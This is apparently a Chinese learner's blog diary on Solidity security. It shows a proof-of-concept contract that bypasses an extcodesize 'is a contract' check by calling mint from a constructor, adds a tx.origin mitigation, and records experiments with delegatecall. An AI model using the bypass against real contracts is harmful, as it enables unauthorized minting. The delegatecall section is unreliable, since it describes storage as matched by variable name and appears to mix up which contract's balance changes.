{"content":{"title":"每日一学-day005","body":"*这几天学习了 绕过合约检查攻击 并深入理解了delegatecall*\r\n\r\n## 绕过合约检查攻击（Bypassing Contract Check Attack）\r\n\r\n```\r\n原理：\r\n一些合约会在函数里面检查msg.sender是否为一个合约地址，通过extcodesize > 0,如果大于0，则为一个合约地址(如果一个地址是合约地址，那么这个地址索引的内存就有代码，那么extcodesize就会大于0)。问题出在，在一个合约部署时，constructor里面,extcodesize = 0。攻击者就可以在合约的constructor里面调用被攻击合约的mint函数，从而绕过检查。\r\n```\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.20;\r\n\r\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\r\n\r\ncontract A is ERC20{\r\n    constructor()ERC20(\"\",\"\"){}\r\n\r\n    //check a address is a contract\r\n    function checkContract(address addr)public view returns(bool){\r\n        uint size;\r\n        //以太坊的内联汇编语言\r\n        assembly{\r\n            size := extcodesize(addr)\r\n        }\r\n        return size > 0;\r\n    }\r\n\r\n    //mint\r\n    function mint(address to_,uint amount_)external {\r\n        require(!checkContract(to_),\"address is a contract address\");\r\n        _mint(to_, amount_);\r\n    }\r\n}\r\n\r\ncontract Attack{\r\n    //get contract attacked address \r\n    A public a;\r\n\r\n    //vertify ths bool is the address(this)`s code is empty\r\n    bool public isContract;\r\n\r\n    constructor(address addr){\r\n        a = A(addr);\r\n        //get ths bool is the address(this)`s code is empty\r\n        isContract = a.checkContract(address(this));\r\n        //the code of address(this) is empty while ths contract is creating by constructor\r\n        a.mint(address(this), 100);\r\n    }\r\n\r\n    //text the mint after the constructor\r\n    function badMint()external{\r\n        a.mint(address(this), 100);\r\n    }\r\n}\r\n\r\n注:\r\n1,如何避免，如果一个合约想要绕过检查来与合约交互，肯定需要外部地址来调用，我们就可以通过检查tx.origin == msg.sender 加 extcodesize > 0 来判断一个地址是否为合约地址。如：\r\n    //mint\r\n    function mint(address to_,uint amount_)external {\r\n        require(!checkContract(to_),\"address is a contract address\");\r\n        require(tx.origin == msg.sender,\"address is a contract address\");\r\n        _mint(to_, amount_);\r\n    }\r\n    \r\n    然后再部署Attack合约时就会部署失败，可以看到预防成功。\r\n```\r\n\r\n![屏幕截图 2024-04-10 220153.png](https://img.learnblockchain.cn/attachments/2024/04/yfseQxjc66169c61c901f.png)\r\n## delegatecall深度理解\r\n```\r\n思考：\r\n1，梳理一下逻辑，用户调用A合约，A合约调用B合约的mint()。整个过程中tx.origin为用户，mint()中msg.sender为A合约地址。\r\n2，但是如果我们在A合约中调用B合约时，使用delegate调用，就可以让msg.sender为用户，是不是就可以重新通过检查，然后mint成功\r\n3，结果我试了一下，整个函数调用过程成功了，但是在B合约中查询A合约地址的balance，神奇的是啥也没有。（真抓马）\r\n```\r\n\r\n```\r\n原因：\r\ncall调用：mint()被调用的是在B合约环境下被执行\r\ndelegatecall：mint()被调用的是在A合约的环境下执行\r\n\r\n我的理解是delegatecall会让A合约将B合约下的mint()函数copy到A合约下，然后在A合约下的环境被执行。如果mint()函数会操作一些B合约有的状态变量而A合约没有的状态变量。那么A合约就会找一遍自己有没有，如果有，则修改自己的。没有则添加（这里我尝试拿到A合约自己添加的状态变量的索引，试图访问一下。结果短时间并没有找到什么方法。所以打算等深入学习了EVM后再来解决这个问题）。\r\n\r\n验证过程：\r\n我在A合约下添加了一个跟B合约同名的状态变量，然后再A合约调用B合约的mint()，结果A合约下的状态变量成功修改。验证成功。以下是代码。\r\n```\r\n\r\n```\r\n contract A{\r\n    mapping(address => uint256) public balanceOf;\r\n\r\n    function f1(address addr)public returns(address){\r\n        mint(addr,100);\r\n        return addr;\r\n    }\r\n    \r\n    function mint(address addr,uint256 amount)public{\r\n        balanceOf[addr] = amount;\r\n    }\r\n }\r\n```\r\n\r\n```\r\n contract B{\r\n    mapping(address => uint256) public balanceOf;\r\n\r\n    //获得A合约的实例\r\n    A a;\r\n\r\n    function delegatecallf1() public returns(address,bool){\r\n        (bool success,bytes memory data) = address(a).delegatecall(//call是地址类型的方法，必须转换为地址类型\r\n            abi.encodeWithSignature(\"f1(address)\",address(this))\r\n        );\r\n\r\n        return (abi.decode(data, (address)),success);\r\n    }\r\n\r\n\r\n    constructor(A a_){\r\n        a = a_;\r\n    }\r\n }\r\n```\r\n部署A，B合约以后,\r\n查看A，B合约下A的balanceOf\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/04/bpm5SP5S6617a496d6c92.png)\r\n\r\n```\r\n调用A合约delegatecallf1()后，然后查看A合约下balanceOf变了，B合约下还是没有变\r\n```\r\n*delelgatecall调用返回信息*\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/04/0LNWVYNI6617a54087b10.png)\r\n*A合约下的balanceOf*\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/04/3Wht3Ora6617a55364c2f.png)\r\n*B合约下的balanceOf*\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/04/0C6M5kMs6617a563eee05.png)\r\n\r\n## 总结\r\n*感觉如果没有了解delegatecall的话，还是容易出现貔貅一样的东西，只进不出。就像上个例子一样攻击者用delegatecall，虽然绕过了检查，但是什么也拿不到。*"},"author":{"user":"https://learnblockchain.cn/people/18943","address":"0xb9c0f50035bed4aebfd5e3508c48c9704a3af744"},"history":null,"timestamp":1712834686,"version":1}